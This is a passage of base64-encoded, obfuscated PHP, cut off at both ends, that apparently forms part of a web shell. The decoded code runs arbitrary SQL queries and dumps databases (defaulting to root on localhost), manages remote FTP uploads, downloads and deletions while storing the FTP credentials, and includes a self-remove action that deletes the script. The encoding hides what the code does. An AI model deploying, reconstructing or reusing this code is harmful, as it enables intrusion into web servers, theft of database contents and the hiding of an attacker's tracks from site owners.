SApICwnJywnNCcpLiB6OWMoIHo1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJxX3NxbF9hY3Rpb24iPT4icXVlcnkiKSwgejltKCkuIHo1YigpLiB6N3UoejV0KHo5eSgiNDExIikpLno5Yyh6M20oInFfc3FsX2VuZ2luZSIsJGF2YWlsYWJsZV9hcnIsIjQiLDEpKSkuIHo3dSh6NXQoejl5KCI0MTIiKSkuejljKHo1eSgicV9zcWxfc2VydmVyIiwiMTI3LjAuMC4xIiwiNCIpLiI6Ii56NXkoInFfc3FsX3BvcnQiLCIzMzA2IiwiMSIpKSkuIHo3dSh6NXQoejl5KCI0MTMiKSkuejljKHo1eSgicV9zcWxfdXNlciIsInJvb3QiLCI0IikuIjoiLno1eSgicV9zcWxfcGFzcyIsIiIsIjQiKSkpLiB6N3UoejV0KHo5eSgiNDIxIikpLno5Yyh6NXkoInFfc3FsX2RiIiwibXlzcWwiLCI0IikpKS4gejlkKHo1dCh6OXkoIjM3MCIpKS56OWMoejV3KCJxX3NxbF9xdWVyeSIsIjQiKS5AaHRtbHNwZWNpYWxjaGFycygkcV9zcWxfcXVlcnkpLno1cSgpKSkuIHo3dSh6NXQoejl4KCkpLno5Yyh6OGIoejl5KCI0MjIiKSwiNyIpKSkuIHo1YigpLiB6MTBxKCkgKSAsJycsIjQ2IikgKS4gejEwcSgpOyBpZihAaXNzZXQoJHFfc3FsX2FjdGlvbikmJiRxX3NxbF9hY3Rpb249PSJxdWVyeSIpeyAkc3FsPW5ldyBteV9zcWwoKTsgJHNxbC0+ZGI9JHFfc3FsX2VuZ2luZTsgJHNxbC0+aG9zdD0kcV9zcWxfc2VydmVyOyAkc3FsLT5wb3J0PSRxX3NxbF9wb3J0OyAkc3FsLT51c2VyPSRxX3NxbF91c2VyOyAkc3FsLT5wYXNzPSRxX3NxbF9wYXNzOyAkc3FsLT5iYXNlPSRxX3NxbF9kYjsgJHF1ZXJ5cz1AZXhwbG9kZSgnOycsJHFfc3FsX3F1ZXJ5KTsgJHFfc3FsX2Nvbm5lY3RfZXJyb3I9IiI7ICRxX3NxbF9lcnJvcj0nJzsgJHFfc3FsX3Jlc3VsdD0nJzsgaWYoISRzcWwtPmNvbm5lY3QoKSkgJHFfc3FsX2Nvbm5lY3RfZXJyb3I9ejNxKHo5eSgiNDE5IikpOyBlbHNleyBpZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgJHFfc3FsX2Nvbm5lY3RfZXJyb3I9ejNxKHo5eSgiNDQ3IikpOyBlbHNleyBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KXsgaWYoQHN0cmxlbigkcXVlcnkpPjUpeyAkcV9zcWxfcmVzdWx0Lj16M3Eoejl5KCI0MjMiLCBhcnJheSgkbnVtLEBodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKSkpKTsgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpeyBjYXNlICcwJzogJHFfc3FsX3Jlc3VsdC49ejNxKCJFUlJPUiA6ICIuJHNxbC0+ZXJyb3IpOyBicmVhazsgY2FzZSAnMSc6IGlmKCRzcWwtPmdldF9yZXN1bHQoKSl7ICRxX3NxbF9yZXN1bHQuPXo5bSgnMicpLno3bygpLno3aigpLno1eignJywiMCIpLno5bSgiMiIpLno3bygpLno3aigpOyBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXT1AaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsgJGtleXM9IiI7ICRjb3VudF9rZXlzPUBjb3VudCgkc3FsLT5jb2x1bW5zKTsgJGtleV9udW09MDsgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRjb2x1bW4peyBpZigka2V5X251bT09MCl7ICRrZXlzLj16OWMoJGNvbHVtbiwiMTMiLCAiMDIiKTsgfWVsc2VpZigka2V5X251bT09KCRjb3VudF9rZXlzLTEpKXsgJGtleXMuPXo5YygkY29sdW1uLCIxMyIsICIwMyIpOyB9ZWxzZXsgJGtleXMuPXo5YygkY29sdW1uLCIxMyIsIjAiKTsgfSAka2V5X251bSsrOyB9ICRxX3NxbF9yZXN1bHQuPXo3dSgka2V5cyk7IGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspeyBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdPUBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOyAkdmFsdWVzPSIiOyAkY291bnRfdmFsdWVzPUBjb3VudCgkc3FsLT5yb3dzWyRpXSk7ICR2YWx1ZV9udW09MDsgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkcm93KXsgaWYoJHZhbHVlX251bT09MCl7ICR2YWx1ZXMuPXo5Yygkcm93LCIxNCIsIjIiKTsgfWVsc2VpZigkdmFsdWVfbnVtPT0oJGNvdW50X3ZhbHVlcy0xKSl7ICR2YWx1ZXMuPXo5Yygkcm93LCIxNCIsIjMiKTsgfWVsc2V7ICR2YWx1ZXMuPXo5Yygkcm93LCIxNCIpOyB9ICR2YWx1ZV9udW0rKzsgfSAkcV9zcWxfcmVzdWx0Lj16N3UoJHZhbHVlcywoJGklMj8nMCc6JzEnKSk7IH0gJHFfc3FsX3Jlc3VsdC49ejdmKCkuejd5KCkuejEwcSgpLno1aCgpLno3ZigpLno3eSgpLnoxMHEoKTsgfSBicmVhazsgY2FzZSAnMic6ICRhcj0kc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7ICRxX3NxbF9yZXN1bHQuPXozcSgiQUZGRUNURUQgUk9XUzogIi4kYXIpOyBicmVhazsgfSB9IGlmKCRxX3NxbF9yZXN1bHQhPScnKXsgZWNobyAkcV9zcWxfcmVzdWx0OyAkcV9zcWxfcmVzdWx0PScnOyB9IH0gfSB9IGlmKCRxX3NxbF9jb25uZWN0X2Vycm9yIT0iIil7IGVjaG8gJHFfc3FsX2Nvbm5lY3RfZXJyb3I7IH0gfSBpZihAaXNzZXQoJHFfc3FsX2FjdGlvbikmJiRxX3NxbF9hY3Rpb249PSJkdW1wIil7ICRmcD0wOyBpZihAaXNzZXQoJHFfc3FsX3NhdmUyZmlsZSkmJiRxX3NxbF9zYXZlMmZpbGU9PSIxIiYmQGlzc2V0KCRxX3NxbF9maWxlbmFtZSkmJiFAZW1wdHkoJHFfc3FsX2ZpbGVuYW1lKSl7ICRmcD1AZm9wZW4oJHFfc3FsX2ZpbGVuYW1lLCJ3Iik7IH0gJHFfc3FsX2ZpbGVuYW1lPUBzdHJfcmVwbGFjZSgiX2RiXyIsIl8iLiRxX3NxbF9kYi4iXyIsJHFfc3FsX2ZpbGVuYW1lKTsgJHNxbD1uZXcgbXlfc3FsKCk7ICRzcWwtPmRiPSRxX3NxbF9lbmdpbmU7ICRzcWwtPmhvc3Q9JHFfc3FsX3NlcnZlcjsgJHNxbC0+cG9ydD0kcV9zcWxfcG9ydDsgJHNxbC0+dXNlcj0kcV9zcWxfdXNlcjsgJHNxbC0+cGFzcz0kcV9zcWxfcGFzczsgJHNxbC0+YmFzZT0kcV9zcWxfZGI7ICRxX3NxbF9kdW1wZWQ9IiI7IGlmKCEkc3FsLT5jb25uZWN0KCkpeyBlY2hvIHozcSh6OXkoIjQxOSIpKTsgfWVsc2VpZighJHNxbC0+c2VsZWN0X2RiKCkpeyBlY2hvIHozcSh6OXkoIjQ0NyIpKTsgfWVsc2VpZighJHNxbC0+ZHVtcCgkcV9zcWxfdGFibGUpKXsgZWNobyB6M3Eoejl5KCI0NTgiKSk7IH1lbHNleyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpICRxX3NxbF9kdW1wZWQuPSR2LiJcclxuIjsgaWYoQGlzc2V0KCRxX3NxbF9kb3dubG9hZCkmJiRxX3NxbF9kb3dubG9hZD09IjEiKXsgQG9iX2NsZWFuKCk7IEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IEBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLkBzdHJsZW4oJHFfc3FsX2R1bXBlZCkpOyBAaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuQGJhc2VuYW1lKCRxX3NxbF9maWxlbmFtZSkuIlwiOyIpOyBlY2hvICRxX3NxbF9kdW1wZWQ7IGV4aXQoKTsgfSBpZighQGlzc2V0KCRxX3NxbF9zYXZlMmZpbGUpfHwkcV9zcWxfc2F2ZTJmaWxlIT0iMSIpeyBlY2hvIHo5bSgnMicpLno2ZigpLno2cSgpLno1dygnJywnMScpLkBodG1sc3BlY2lhbGNoYXJzKCRxX3NxbF9kdW1wZWQpLno1cSgpLno3ZigpLno3eSgpLnoxMHEoKS56NnMoKTsgfWVsc2UgaWYoJGZwfHxAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKXsgaWYoQGZ3cml0ZSgkZnAsJHFfc3FsX2R1bXBlZCkgb3IgQGZwdXRzKCRmcCwkcV9zcWxfZHVtcGVkKSBvciBAZmlsZV9wdXRfY29udGVudHMoJHFfc3FsX2ZpbGVuYW1lLCRxX3NxbF9kdW1wZWQpKXsgejNxKHo5eSgiNDU5IikpOyB9ZWxzZXsgZWNobyB6M3Eoejl5KCI0NTAiKSk7IH0gfWVsc2V7IGVjaG8gejNxKHo5eSgiNDUwIikpOyB9IH0gfSB9IH0gaWYoJGFjdD09InNlbGZyZW1vdmUiKXsgaWYoQGlzc2V0KCRkY29uZmlybSkmJiRkY29uZmlybSl7IGlmKCRzYWRkciE9IjEyNy4wLjAuMSIpIGVjaG8gejNxKChAdW5saW5rKF9fRklMRV9fKT96OXkoIjQ2MiIpOno5eSgiNDYzIixfX0ZJTEVfXykpKTsgfSBlbHNlIHsgZWNobyB6M3Eoejl5KCI0NjAiKSk7IGVjaG8gejZzKCkuejEwdyh6N3UoejZsKHo3bih6OXkoIjQ2MSIpKS56NXgoYXJyYXkoImFjdCI9PiJzZWxmcmVtb3ZlIiwiZCIsImRjb25maXJtIj0+IjEiKSx6OGIoejl5KCIyMSIpLCI3IikpLno5eCgpLno1eCgkYmFja19mb3JtX2FjdGlvbnMsejhiKHo5eSgiMjIiKSwnNycpKSkpLCIyIikuejZzKCk7IH0gfSBpZigkYWN0PT0nZnRwJyl7ICRhX3RyYW5zZmVyPWFycmF5KCJGVFBfQklOQVJZIj0+IkZUUF9CSU5BUlkiLCAiRlRQX0FTQ0lJIj0+IkZUUF9BU0NJSSIpOyAkaG1zZz0nJzsgJGhpZGVjb25uZWN0PTA7ICRqc2lkPTA7IGlmKEBpc3NldCgkZnRwX3NlcnZlcikmJiFAaXNzZXQoJGZ0cF9wYXNzaXZlKSkgJGZ0cF9wYXNzaXZlPTA7IGlmKCFAaXNzZXQoJGZ0cF9zZXJ2ZXIpJiYhQGlzc2V0KCRmdHBfcGFzc2l2ZSkpICRmdHBfcGFzc2l2ZT0iMSI7IGlmKEBpc3NldCgkZnQpJiYkZnQ9PSJsb2dvZmYiKXsgaWYoQGlzc2V0KCRfU0VTU0lPTlsnZnRwX3NlcnZlciddKSl7IHowaSgnZnRwX2N1cnJlbnRfZGlyJy4kX1NFU1NJT05bJ2Z0cF9zZXJ2ZXInXSk7IH0gejBpKCdmdHBfc2VydmVyJyk7IHowaSgnZnRwX3VzZXJuYW1lJyk7IHowaSgnZnRwX3Bhc3N3b3JkJyk7IHowaSgnZnRwX3BvcnQnKTsgejBpKCdmdHBfcGFzc2l2ZScpOyB6MGkoJ2Z0cF9zZXNzaW9uJyk7IH0gJGZ0cF9zZXNzaW9uPTA7IGlmKEBpc3NldCgkX1NFU1NJT05bJ2Z0cF9zZXNzaW9uJ10pKXsgJGZ0cF9zZXJ2ZXI9JF9TRVNTSU9OWydmdHBfc2VydmVyJ107ICRmdHBfdXNlcm5hbWU9JF9TRVNTSU9OWydmdHBfdXNlcm5hbWUnXTsgJGZ0cF9wYXNzd29yZD0kX1NFU1NJT05bJ2Z0cF9wYXNzd29yZCddOyAkZnRwX3BvcnQ9JF9TRVNTSU9OWydmdHBfcG9ydCddOyAkZnRwX3Bhc3NpdmU9JF9TRVNTSU9OWydmdHBfcGFzc2l2ZSddOyAkZnRwX3Nlc3Npb249MTsgfSBpZighQGVtcHR5KCRmdHBfc2VydmVyKSYmIUBlbXB0eSgkZnRwX3BvcnQpJiYhQGVtcHR5KCRmdHBfdXNlcm5hbWUpJiYhQGVtcHR5KCRmdHBfcGFzc3dvcmQpJiYhQGlzc2V0KCRmdHBfcXVpY2thY3Rpb24pKXsgJGZ0cD1uZXcgZnRwKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwkZnRwX3VzZXJuYW1lLCRmdHBfcGFzc3dvcmQsJGZ0cF9wYXNzaXZlKTsgaWYoJGZ0cC0+bG9nZ2VkT24peyBpZighQGlzc2V0KCRmdHBfY3VycmVudF9kaXIpfHxAZW1wdHkoJGZ0cF9jdXJyZW50X2RpcikpeyAkZnRwX2N1cnJlbnRfZGlyPXoxaygoQGlzc2V0KCRfU0VTU0lPTlsnZnRwX2N1cnJlbnRfZGlyJy4kZnRwX3NlcnZlcl0pPyRfU0VTU0lPTlsnZnRwX2N1cnJlbnRfZGlyJy4kZnRwX3NlcnZlcl06Jy8nKSk7IH0gaWYoQGlzc2V0KCRyZCkpICRmdHBfY3VycmVudF9kaXIgPSB6MWsoJGZ0cF9jdXJyZW50X2Rpci4kcmQpOyAkZnRwLT5zZXRDdXJyZW50RGlyKCRmdHBfY3VycmVudF9kaXIpOyAkZnRwX2N1cnJlbnRfZGlyPSRmdHAtPmN1cnJlbnREaXI7ICRfU0VTU0lPTlsnZnRwX2N1cnJlbnRfZGlyJy4kZnRwX3NlcnZlcl09JGZ0cF9jdXJyZW50X2RpcjsgJF9TRVNTSU9OWydmdHBfc2VydmVyJ109JGZ0cF9zZXJ2ZXI7ICRfU0VTU0lPTlsnZnRwX3VzZXJuYW1lJ109JGZ0cF91c2VybmFtZTsgJF9TRVNTSU9OWydmdHBfcGFzc3dvcmQnXT0kZnRwX3Bhc3N3b3JkOyAkX1NFU1NJT05bJ2Z0cF9wb3J0J109JGZ0cF9wb3J0OyAkX1NFU1NJT05bJ2Z0cF9wYXNzaXZlJ109JGZ0cF9wYXNzaXZlOyAkX1NFU1NJT05bJ2Z0cF9zZXNzaW9uJ109MTsgJGhpZGVjb25uZWN0PTE7ICRobXNnPXo1eChhcnJheSgiYWN0Ij0+ImZ0cCIsImQiLCJmdCI9PiJsb2dvZmYiKSx6OGIoejl5KCIxOTYiKSwgIjEiKSk7IH0gZWxzZSB7ICRobXNnPXo5eSgiMTkxIik7IH0gfSBpZighQGlzc2V0KCRmdHBfc2VydmVyKXx8QGVtcHR5KCRmdHBfc2VydmVyKSkgJGZ0cF9zZXJ2ZXI9IjEyNy4wLjAuMSI7IGlmKCFAaXNzZXQoJGZ0cF9wb3J0KXx8QGVtcHR5KCRmdHBfcG9ydCkpICRmdHBfcG9ydD0iMjEiOyBpZighQGlzc2V0KCRmdHBfdXNlcm5hbWUpfHxAZW1wdHkoJGZ0cF91c2VybmFtZSkpICRmdHBfdXNlcm5hbWU9ImFub255bW91cyI7IGlmKCFAaXNzZXQoJGZ0cF9wYXNzd29yZCl8fEBlbXB0eSgkZnRwX3Bhc3N3b3JkKSkgJGZ0cF9wYXNzd29yZD0iYW5vbnltb3VzQGZ0cC5jb20iOyBpZighQGlzc2V0KCRmdHBfbG9jYWxmaWxlKXx8QGVtcHR5KCRmdHBfbG9jYWxmaWxlKSkgJGZ0cF9sb2NhbGZpbGU9JGQ7IGlmKCFAaXNzZXQoJGZ0cF9yZW1vdGVmaWxlKXx8QGVtcHR5KCRmdHBfcmVtb3RlZmlsZSkpICRmdHBfcmVtb3RlZmlsZT0iL2Z0cC1kaXIvc29tZWZpbGUudHh0IjsgaWYoJGhpZGVjb25uZWN0KXsgaWYoQGlzc2V0KCRsbWtkaXIpJiYkbG1rZGlyJiZAaXNzZXQoJGxkaXIpJiYhQGVtcHR5KCRsZGlyKSl7IEBta2RpcigkZC4kbGRpcik7IH0gaWYoQGlzc2V0KCRmbWtkaXIpJiYkZm1rZGlyJiZAaXNzZXQoJGZkaXIpJiYhQGVtcHR5KCRmZGlyKSl7ICRmdHAtPm1ha2VEaXIoejFrKCRmdHBfY3VycmVudF9kaXIpLiRmZGlyKTsgfSAkbHRhcnI9YXJyYXkoKTsgJHJ0YXJyPWFycmF5KCk7IGlmKEBpc3NldCgkYWN0aW9uKSYmIUBlbXB0eSgkYWN0aW9uKSYmKEBpc3NldCgkbHRhbGwpfHxAaXNzZXQoJHJ0YWxsKSkpeyAkZnQ9JGFjdGlvbjsgaWYoQGlzc2V0KCRydGFsbCl8fEBzdHJzdHIoJHJ0YWxsLCJcbiIpKXsgJHJ0YXJyPUBleHBsb2RlKCJcbiIsICRydGFsbCk7IH0gZWxzZWlmKEBpc3NldCgkbHRhbGwpfHxAc3Ryc3RyKCRsdGFsbCwiXG4iKSl7ICRsdGFycj1AZXhwbG9kZSgiXG4iLCAkbHRhbGwpOyB9IH0gaWYoQGlzc2V0KCRmdCkpeyBzd2l0Y2goJGZ0KXsgY2FzZSAiZGVsZXRlIjogaWYoQGlzc2V0KCRsdCkmJiFAZW1wdHkoJGx0KSYmejRyKCRsdCkpeyB6OHMoJGx0KTsgfSBlbHNlaWYoQGlzc2V0KCRydCkmJiFAZW1wdHkoJHJ0KSkgeyAkZnRwLT5kZWxldGVPYmplY3QoejFrKCRmdHBfY3VycmVudF9kaXIpLiRydCk7IH0gZWxzZWlmKEBjb3VudCgkbHRhcnIpPjApeyBmb3JlYWNoKCRsdGFyciBhcyAkbHRvKXsgJGx0bz1AdHJpbSgkbHRvKTsgaWYoIUBlbXB0eSgkbHRvKSYmejRyKCRsdG8pKXsgejhzKCRsdG8pOyB9IH0gfSBlbHNlaWYoQGNvdW50KCRydGFycik+MCl7IGZvcmVhY2goJHJ0YXJyIGFzICRydG8peyAkcnRvPUB0cmltKCRydG8pOyBpZighQGVtcHR5KCRydG8pKXsgJGZ0cC0+ZGVsZXRlT2JqZWN0KHoxaygkZnRwX2N1cnJlbnRfZGlyKS4kcnRvKTsgfSB9IH0gYnJlYWs7IGNhc2UgInVwbG9hZCI6IGlmKEBpc3NldCgkbHQpJiYhQGVtcHR5KCRsdCkmJno0cigkbHQpKXsgJGZ0cC0+cHV0T2JqZWN0KCRsdCwgejFrKCRmdHBfY3VycmVudF9kaXIpKTsgfSBlbHNlaWYoQGNvdW50KCRsdGFycik+MCl7IGZvcmVhY2goJGx0YXJyIGFzICRsdG8peyAkbHRvPUB0cmltKCRsdG8pOyBpZighQGVtcHR5KCRsdG8pJiZ6NHIoJGx0bykpeyAkZnRwLT5wdXRPYmplY3QoJGx0bywgejFrKCRmdHBfY3VycmVudF9kaXIpKTsgfSB9IH0gYnJlYWs7IGNhc2UgImRvd25sb2FkIjogaWYoQGlzc2V0KCRydCkmJiFAZW1wdHkoJHJ0KSkgeyAkZnRwLT5nZXRPYmplY3QoejFrKCRmdHBfY3VycmVudF9kaXIpLiRydCwgJGQpOyB9IGVsc2VpZihAY291bnQoJHJ0YXJyKT4wKXsgZm9yZWFjaCgkcnRhcnIgYXMgJHJ0byl7ICRydG89QHRyaW0oJHJ0byk7IGlmKCFAZW1wdHkoJHJ0bykpeyAkZnRwLT5nZXRPYmplY3QoejFrKCRmdHBfY3VycmVudF9kaXIpLiRydG8sICRkKTsgfSB9IH0gYnJlYWs7IGRlZmF1bHQ6IGJyZWFrOyB9IH0gJGZybWw9ejl5KCIxOTQiKS56OXgoKS56NXgoYXJyYXkoJ2FjdCc9PidmdHAnLCdkJywnbG1rZGlyJz0+JzEnKSx6NnUoJ2xkaXInLCcnLCcyJykuejhiKHo5eSgiMTk1IiksJzcnKSk7ICRmcm1mPXo5eSgiMTk0Iikuejl4KCkuejV4KGFycmF5KCdhY3QnPT4nZnRwJywnZCcsJ2Zta2Rpcic9PicxJyksejZ1KCdmZGlyJywnJywnMicpLno4Yih6OXkoIjE5NSIpLCc3JykpOyBlY2hvIHozcShhcnJheSh6MTB3KHo3dSh6N2soejl5KCIxOTIiKSkuejZ6KCRmcm1sKSksJzInKSx6MTB3KHo3dSh6N2soejl5KCIxOTMiKS56OXgoKS4kaG1zZykuejZ6KCRmcm1mKSksJzInKSksJzQnKTsgJGxpc3RmPSRmdHAtPmZ0cFJhd0xpc3QoKTsgJGxpc3RsPXo4eCgkZCk7ICRsc2w9YXJyYXkoKTsgJGxzbFsiZCJdPWFycmF5KCk7ICRsc2xbImwiXT1hcnJheSgpOyAkbHNsWyJmIl09YXJyYXkoKTsgJGxzZj1hcnJheSgpOyAkbHNmWyJkIl09YXJyYXkoKTsgJGxzZlsibCJdPWFycmF5KCk7ICRsc2ZbImYiXT1hcnJheSgpOyBpZihAaXNfYXJyYXkoJGxpc3RsKSYmQGNvdW50KCRsaXN0bCk+MCl7IGZvcmVhY2goJGxpc3RsIGFzICRsZil7ICRmbj16MmwoJGxmKTsgaWYoJGZuIT0nLicmJiRmbiE9Jy4uJyl7IGlmKHo0aigkbGYpKXsgJGxzbFsiZCJdW109YXJyYXkoJGxmLCAnRElSJyk7IH1lbHNlaWYoejRxKCRsZikpeyAkbHNsWyJsIl1bXT1hcnJheSgkbGYsICdMSU5LJyk7IH0gZWxzZSB7ICRsc2xbImYiXVtdPWFycmF5KCRsZiwgKEBmaWxlc2l6ZSgkbGYpIT09ZmFsc2U/QGZpbGVzaXplKCRsZik6J0ZJTEUnKSk7IH0gfSB9IH0gaWYoQGlzX2FycmF5KCRsaXN0ZikmJkBjb3VudCgkbGlzdGYpPjApeyBmb3JlYWNoKCRsaXN0ZiBhcyAkcmYpeyBpZigkcmZbMV0hPScuJyYmJHJmWzFdIT0nLi4nKXsgaWYoJHJmWzBdPT0nZCcpeyAkbHNmWyJkIl1bXT1hcnJheSgkcmZbMV0sICdESVInKTsgfSBlbHNlaWYoJHJmWzBdPT0nbCcpeyAkcmZkPShAc3Ryc3RyKCRyZlsxXSwnIC0+ICcpP0BzdWJzdHIoJHJmWzFdLDAsQHN0cnBvcygkcmZbMV0sJyAtPiAnKSk6JHJmWzFdKTsgJGxzZlsnbCddW109YXJyYXkoJHJmZCwgJ0xJTksnKTsgfSBlbHNlIHsgJGxzZlsnZiddW109YXJyYXkoJHJmWzFdLCRyZlsyXSk7IH0gfSB9IH0gaWYoIUBpc3NldCgkZmxzb3J0KSl7IGlmKEBpc3NldCgkX1NFU1NJT05bJ2Zsc29ydCddKSl7ICRmbHNvcnQ9JF9TRVNTSU9OWydmbHNvcnQnXTsgfSBlbHNlIHsgJGZsc29ydD0nMGEnOyB9IH0gJF9TRVNTSU9OWydmbHNvcnQnXSA9ICRmbHNvcnQ7ICRwZmxzb3J0PXo1cigkZmxzb3J0KTsgaWYoJHBmbHNvcnRbMV0hPSdhJykgJHBmbHNvcnRbMV09J2QnOyAkdj0kcGZsc29ydFswXTsgQHVzb3J0KCRsc2xbImQiXSwiejJiIik7IEB1c29ydCgkbHNsWyJsIl0sInoyYiIpOyBAdXNvcnQoJGxzbFsiZiJdLCJ6MmIiKTsgaWYoJHBmbHNvcnRbMV09PSJkIil7ICRsc2xbImQiXT1AYXJyYXlfcmV2ZXJzZSgkbHNsWyJkIl0pOyAkbHNsWyJsIl09QGFycmF5X3JldmVyc2UoJGxzbFsibCJdKTsgJGxzbFsiZiJdPUBhcnJheV9yZXZlcnNlKCRsc2xbImYiXSk7IH0gaWYoIUBpc3NldCgkZmZzb3J0KSl7IGlmKEBpc3NldCgkX1NFU1NJT05bJ2Zmc29ydCddKSl7ICRmZnNvcnQ9JF9TRVNTSU9OWydmZnNvcnQnXTsgfSBlbHNlIHsgJGZmc29ydD0nMGEnOyB9IH0gJF9TRVNTSU9OWydmZnNvcnQnXSA9ICRmZnNvcnQ7ICRwZmZzb3J0PXo1cigkZmZzb3J0KTsgJGZmc29ydD0kcGZmc29ydFswXS4kcGZmc29ydFsxXTsgaWYoJHBmZnNvcnRbMV0hPSdhJykgJHBmZnNvcnRbMV09J2QnOyAkdj0kcGZmc29ydFswXTsgQHVzb3J0KCRsc2ZbImQiXSwiejJiIik7IEB1c29ydCgkbHNmWyJsIl0sInoyYiIpOyBAdXNvcnQoJGxzZlsiZiJdLCJ6MmIiKTsgaWYoJHBmZnNvcnRbMV09PSJkIil7ICRsc2ZbImQiXT1AYXJyYXlfcmV2ZXJzZSgkbHNmWyJkIl0pOyAkbHNmWyJsIl09QGFycmF5X3JldmVyc2UoJGxzZlsibCJdKTsgJGxzZlsiZiJdPUBhcnJheV9yZXZlcnNlKCRsc2ZbImYiXSk7IH0gJGxpc3RfbD1hcnJheSgpOyAkbGlzdF9mPWFycmF5KCk7ICRsaXN0X2xbXT1hcnJheSgkZC4nLi4nLCAnTElOSycpOyAkbGlzdF9mW109YXJyYXkoJy4uJywgJ0xJTksnKTsgZm9yZWFjaCgkbHNsWyJkIl0gYXMgJGxmKSAkbGlzdF9sW109JGxmOyBmb3JlYWNoKCRsc2xbImwiXSBhcyAkbGYpICRsaXN0X2xbXT0kbGY7IGZvcmVhY2goJGxzbFsiZiJdIGFzICRsZikgJGxpc3RfbFtdPSRsZjsgZm9yZWFjaCgkbHNmWyJkIl0gYXMgJHJmKSAkbGlzdF9mW109JHJmOyBmb3JlYWNoKCRsc2ZbImwiXSBhcyAkcmYpICRsaXN0X2ZbXT0kcmY7IGZvcmVhY2goJGxzZlsiZiJdIGFzICRyZikgJGxpc3RfZltdPSRyZjsgJGNsPUBjb3VudCgkbGlzdF9sKTsgJGNmPUBjb3VudCgkbGlzdF9mKTsgZWNobyB6OW0oJzInKS56NmYoKS56N2ooJycsJzQnKTsgejhuKCdsJyk7IGVjaG8gejdmKCkuejdqKCcnLCc0NicpOyB6OG4oJ2YnKTsgZWNobyB6N2YoKS56N3koKS56MTBxKCk7IGVjaG8gejltKCcyJykuejdvKCkuejdqKCcnLCc0JykuejV6KCcnLCIxIikuejltKCcyJyk7IGVjaG8gejd1KCB6N2soejV4KGFycmF5KCdhY3QnLCdkJywnZmZzb3J0JywnZmxzb3J0Jz0+KCRwZmxzb3J0WzBdPT0nMCc/JzAnLigkcGZsc29ydFsxXT09ImEiPyJkIjoiYSIpOicwJy4kcGZsc29ydFsxXSkpLHo4Yih6OXkoIjU3IikuKCRwZmxzb3J0WzBdPT0nMCc/JyAnLigkcGZsc29ydFsxXT09ImEiPycmdWFycjsnOicmZGFycjsnKTonJyksJzMnKSksJzgnLCcyJykuIHo2eih6NXgoYXJyYXkoJ2FjdCcsJ2QnLCdmZnNvcnQnLCdmbHNvcnQnPT4oJHBmbHNvcnRbMF09PScxJz8nMScuKCRwZmxzb3J0WzFdPT0iYSI/ImQiOiJhIik6JzEnLiRwZmxzb3J0WzFdKSksejhiKHo5eSgiNTgiKS4oJHBmbHNvcnRbMF09PScxJz8nICcuKCRwZmxzb3J0WzFdPT0iYSI/JyZ1YXJyOyc6JyZkYXJyOycpOicnKSwnMycpKSwnOCcsJycpLiB6N2soejl5KCI2MiIpLCc4JywnMycpKTsgZm9yKCRpPTA7JGk8JGNsOyRpKyspeyAkZGlzcD16MmwoJGxpc3RfbFskaV1bMF0pOyBpZigoIUBpc19udW1lcmljKCRsaXN0X2xbJGldWzFdKSAmJiAkbGlzdF9sWyRpXVsxXT09J0RJUicpfHwkZGlzcD09Jy4uJyl7ICRvPXo1eChhcnJheSgnYWN0Jz0+J2Z0cCcsJ2Zsc29ydCcsJ2Zmc29ydCcsJ2QnPT4kbGlzdF9sWyRpXVswXSksejhoKCdzbWFsbF9kaXInLCcnLCc5JykuejhiKHo4bygkZGlzcCw0MCksJzEwJyx6M2coJGRpc3AsJ2QnKSkpOyB9IGVsc2UgeyAkZXh0PXoybCgkbGlzdF9sWyRpXVswXSwnLicpOyAkbz16NXgoYXJyYXkoJ2FjdCc9PidmdHAnLCdmbHNvcnQnLCdmZnNvcnQnLCdkJywnZnQnPT4ndXBsb2FkJywnbHQnPT4kbGlzdF9sWyRpXVswXSksejhoKCRleHQsJycsJzknKS56OGIoejhvKCRkaXNwLDQwKSwnMTEnLHozZygkZGlzcCwnZicpKSk7IH0gZWNobyB6N3UoejdrKCRvLCcxOScsJzInKS56NnooKEBpc19udW1lcmljKCRsaXN0X2xbJGldWzFdKT96N3goJGxpc3RfbFskaV1bMV0pOiRsaXN0X2xbJGldWzFdKSwnMTAnKS56N2soKCRkaXNwPT0nLi4nP3owdygkbGlzdF9sWyRpXVswXSk6ejB0KCRsaXN0X2xbJGldWzBdKS56NG4oJGxpc3RfbFskaV1bMF0sJ2lkbG9jJywoJGklMj8ndHJhJzondHJiJykuJGpzaWQpKSwnMTAnKSwoJGklMj8gJzAnOiAnMScpLCgkaSUyPyd0cmEnOid0cmInKS4kanNpZCk7ICRqc2lkKys7IH0gZWNobyB6MTBxKCkuejVoKCkuejdmKCkuejdqKCcnLCc0NicpLno1eignJywiMSIpLno5bSgnMicpOyBlY2hvIHo3dSggejdrKHo1eChhcnJheSgnYWN0JywnZCcsJ2Zsc29ydCcsJ2Zmc29ydCc9PigkcGZmc29ydFswXT09JzAnPycwJy4oJHBmZnNvcnRbMV09PSJhIj8iZCI6ImEiKTonMCcuJHBmZnNvcnRbMV0pKSx6OGIoejl5KCI